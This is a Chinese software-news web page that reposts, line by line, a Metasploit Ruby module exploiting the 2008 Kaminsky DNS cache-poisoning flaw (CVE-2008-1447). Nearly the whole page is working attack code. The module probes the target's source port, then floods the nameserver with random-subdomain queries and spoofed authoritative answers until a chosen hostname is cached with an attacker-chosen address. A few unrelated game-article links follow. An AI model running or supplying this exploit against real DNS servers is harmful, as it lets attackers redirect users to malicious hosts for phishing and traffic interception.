pc软件 文章资讯 手机软件

您当前的位置→图文中心新闻资讯安全播报DNS漏洞攻击的Ruby代码
阅读排行

DNS漏洞攻击的Ruby代码


2009/3/28  编辑:佚名 来源:本站整理

1 require 'msf/core'

2 require 'net/dns'

3 require 'scruby'

4 require 'resolv'

6 module Msf

8 class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary

10        include Exploit::Remote::Ip

11 

12        def initialize(info = {})

13                super(update_info(info, 

14                        'Name'          => 'DNS BaliWicked Attack',

15                        'Description'    => %q{

16                                This exploit attacks a fairly ubiquitous flaw in DNS implementations which 

17                                Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single

18                                malicious host entry into the target nameserver by sending random sub-domain

19                                queries to the target DNS server coupled with spoofed replies to those

20                                queries from the authoritative nameservers for the domain which contain a

21                                malicious host entry for the hostname to be poisoned in the authority and

22                                additional records sections.  Eventually, a guessed ID will match and the

23                                spoofed packet will get accepted, and due to the additional hostname entry

24                                being within baliwick constraints of the original request the malicious host

25                                entry will get cached.

26                        },

27                        'Author'        => [ 'I)ruid', 'hdm' ],

28                        'License'        => MSF_LICENSE,

29                        'Version'        => '$Revision$',

30                        'References'    =>

31                                [

32                                        [ 'CVE', '2008-1447' ],

33                                        [ 'US-CERT-VU', '8000113' ],

34                                        [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],

35                                ],

36                        'Privileged'    => true,

37                        'Targets'        => 

38                                [

39                                        ["BIND", 

40                                                {

41                                                        'Arch' => ARCH_X86,

42                                                        'Platform' => 'linux',

43                                                },

44                                        ],

45                                ],

46                        'DisclosureDate' => 'Jul 21 2008'

47                        ))

48                         

49                        register_options(

50                                [

51                                        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),

52                                        OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),

53                                        OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),

54                                        OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),

55                                        OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),

56                                        OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),

57                                ], self.class)

58                                         

59        end

60         

61        def auxiliary_commands

62                return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }

63        end

64 

65        def cmd_check(*args)

66                targ = args[0] || rhost()

67                if(not (targ and targ.length > 0))

68                        print_status("usage: check [dns-server]")

69                        return

70                end

71 

72                print_status("Using the Metasploit service to verify exploitability...")

73                srv_sock = Rex::Socket.create_udp(

74                        'PeerHost' => targ,

75                        'PeerPort' => 53

76                )               

77 

78                random = false

79                ports  = []

80                lport  = nil

81                 

82                1.upto(5) do |i|

83                 

84                        req = Resolv::DNS::Message.new

85                        txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"

86                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)

87                        req.rd = 1

88                         

89                        srv_sock.put(req.encode)

90                        res, addr = srv_sock.recvfrom()

91                         

92 

93                        if res and res.length > 0

94                                res = Resolv::DNS::Message.decode(res)

95                                res.each_answer do |name, ttl, data|

96                                        if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)

97                                                t_addr, t_port = $1.split(':')

98 

99                                                print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")

100                                                t_port = t_port.to_i

101                                                if(lport and lport != t_port)

102                                                        random = true

103                                                end

104                                                lport  = t_port

105                                                ports << t_port

106                                        end

107                                end

108                        end     

109                end

110                 

111                srv_sock.close

112                 

113                if(ports.length < 5)

114                        print_status("UNKNOWN: This server did not reply to our vulnerability check requests")

115                        return

116                end

117                 

118                if(random)

119                        print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")

120                        print_status("      This server may still be exploitable, but not by this tool.")

121                else

122                        print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")

123                end

124        end

125                 

126        def run

127                target  = rhost()

128                source  = Rex::Socket.source_address(target)

129                sport    = datastore['SRCPORT']

130                hostname = datastore['HOSTNAME'] + '.'

131                address  = datastore['NEWADDR']

132                recons  = datastore['RECONS']

133                xids    = datastore['XIDS'].to_i

134                ttl      = datastore['TTL'].to_i

135 

136                domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]

137 

138                srv_sock = Rex::Socket.create_udp(

139                        'PeerHost' => target,

140                        'PeerPort' => 53

141                )

142 

143                # Get the source port via the metasploit service if it's not set

144                if sport.to_i == 0

145                        req = Resolv::DNS::Message.new

146                        txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"

147                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)

148                        req.rd = 1

149                         

150                        srv_sock.put(req.encode)

151                        res, addr = srv_sock.recvfrom()

152                         

153                        if res and res.length > 0

154                                res = Resolv::DNS::Message.decode(res)

155                                res.each_answer do |name, ttl, data|

156                                        if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)

157                                                t_addr, t_port = $1.split(':')

158                                                sport = t_port.to_i

159 

160                                                print_status("Switching to target port #{sport} based on Metasploit service")

161                                                if target != t_addr

162                                                        print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")

163                                                end

164                                        end

165                                end

166                        end

167                end

168 

169                # Verify its not already cached

170                begin

171                        query = Resolv::DNS::Message.new

172                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)

173                        query.rd = 0

174 

175                        begin

176                                cached = false

177                                srv_sock.put(query.encode)

178                                answer, addr = srv_sock.recvfrom()

179 

180                                if answer and answer.length > 0

181                                        answer = Resolv::DNS::Message.decode(answer)

182                                        answer.each_answer do |name, ttl, data|

183                                                if((name.to_s + ".") == hostname  and data.address.to_s == address)

184                                                        t = Time.now + ttl

185                                                        print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")

186                                                        print_status("        Cache entry expires on #{t.to_s}... sleeping.")

187                                                        cached = true

188                                                        sleep ttl

189                                                end

190                                        end

191                                end

192                        end until not cached

193                rescue ::Interrupt

194                        raise $!

195                rescue ::Exception => e

196                        print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")

197                end

198 

199                res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

200 

201                print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

202 

203                # Look up the nameservers for the domain

204                print_status "Querying recon nameserver for #{domain}'s nameservers..."

205                answer0 = res0.send(domain, Net::DNS::NS)

206                #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

207 

208                barbs = [] # storage for nameservers

209                answer0.answer.each do |rr0|

210                        print_status " Got an #{rr0.type} record: #{rr0.inspect}"

211                        if rr0.type == 'NS'

212                                print_status "Querying recon nameserver for address of #{rr0.nsdname}..."

213                                answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname

214                                #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"

215                                answer1.answer.each do |rr1|

216                                        print_status " Got an #{rr1.type} record: #{rr1.inspect}"

217                                        res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) 

218                                        print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."

219                                        answer2 = res2.send(domain)

220                                        if answer2 and answer2.header.auth? and answer2.header.anCount >= 1

221                                                nsrec = {:name => rr0.nsdname, :addr => rr1.address}

222                                                barbs << nsrec

223                                                print_status "  #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"

224                                        end

225                                end

226                        end     

227                end

228 

229                if barbs.length == 0

230                        print_status( "No DNS servers found.")

231                        srv_sock.close

232                        disconnect_ip

233                        return

234                end

235 

236                # Flood the target with queries and spoofed responses, one will eventually hit

237                queries = 0

238                responses = 0

239 

240                connect_ip if not ip_sock

241 

242                print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")

243 

244                while true

245                        randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname

246 

247                        # Send spoofed query

248                        req = Resolv::DNS::Message.new

249                        req.id = rand(2**16)

250                        req.add_question(randhost, Resolv::DNS::Resource::IN::A)

251 

252                        req.rd = 1

253 

254                        buff = (

255                                Scruby::IP.new(

256                                        #:src  => barbs[0][:addr].to_s,

257                                        :src  => source,

258                                        :dst  => target,

259                                        :proto => 17

260                                )/Scruby::UDP.new(

261                                        :sport => (rand((2**16)-1024)+1024).to_i,

262                                        :dport => 53

263                                )/req.encode

264                        ).to_net

265                        ip_sock.sendto(buff, target)

266                        queries += 1

267                         

268                        # Send evil spoofed answer from ALL nameservers (barbs

[:addr])

269                        req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))

270                        req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))

271                        req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))

272                        req.qr = 1

273                        req.ra = 1

274 

275                        p = rand(4)+2*10000

276                        p.upto(p+xids-1) do |id|

277                                req.id = id

278                                barbs.each do |barb|

279                                        buff = (

280                                                Scruby::IP.new(

281                                                        #:src  => barbs[:addr].to_s,

282                                                        :src  => barb[:addr].to_s,

283                                                        :dst  => target,

284                                                        :proto => 17

285                                                )/Scruby::UDP.new(

286                                                        :sport => 53,

287                                                        :dport => sport.to_i

288                                                )/req.encode

289                                        ).to_net

290                                        ip_sock.sendto(buff, target)

291                                        responses += 1

292                                end

293                        end

294 

295                        # status update

296                        if queries % 1000 == 0

297                                print_status("Sent #{queries} queries and #{responses} spoofed responses...")

298                        end

299 

300                        # every so often, check and see if the target is poisoned...

301                        if queries % 250 == 0 

302                                begin

303                                        query = Resolv::DNS::Message.new

304                                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)

305                                        query.rd = 0

306         

307                                        srv_sock.put(query.encode)

308                                        answer, addr = srv_sock.recvfrom()

309 

310                                        if answer and answer.length > 0

311                                                answer = Resolv::DNS::Message.decode(answer)

312                                                answer.each_answer do |name, ttl, data|

313                                                        if((name.to_s + ".") == hostname and data.address.to_s == address)

314                                                                print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")

315                                                                disconnect_ip

316                                                                return

317                                                        end

318                                                end

319                                        end

320                                rescue ::Interrupt

321                                        raise $!

322                                rescue ::Exception => e

323                                        print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")

324                                end

325                        end

326 

327                end

328 

329        end

330 

331 end

332 end

相关文章

DNF欲望之塔从哪里进 欲望之塔npc是什么东东:DNF欲望之塔在哪里进?欲望之塔的玩法一共是有四阶段的,分为四段的挂机活动。

DNF的史诗掉落率有多少?DNF史诗武器掉落概率排行:很多冒险家对召唤抱怨爆不到史诗武器,或者爆到的史诗武器不是自己使用的,其实召唤知道真相的啊!现在召唤把这些数据说出来不知道是安慰冒险家受伤的小心灵还是火上浇油,其实召唤一直都是在用邀请函刷深渊,挑战书这种奢侈的东西用来刷深渊在召唤这比较守财...。

《DNF》2017夏日套赠品性价比分析:DNF2017夏日套值不值得买?2017夏日礼包已经在国服正式上架,相信很多人也比较纠结买不买。

发表评论
网站帮助 - 广告合作 - 下载声明 - 网站地图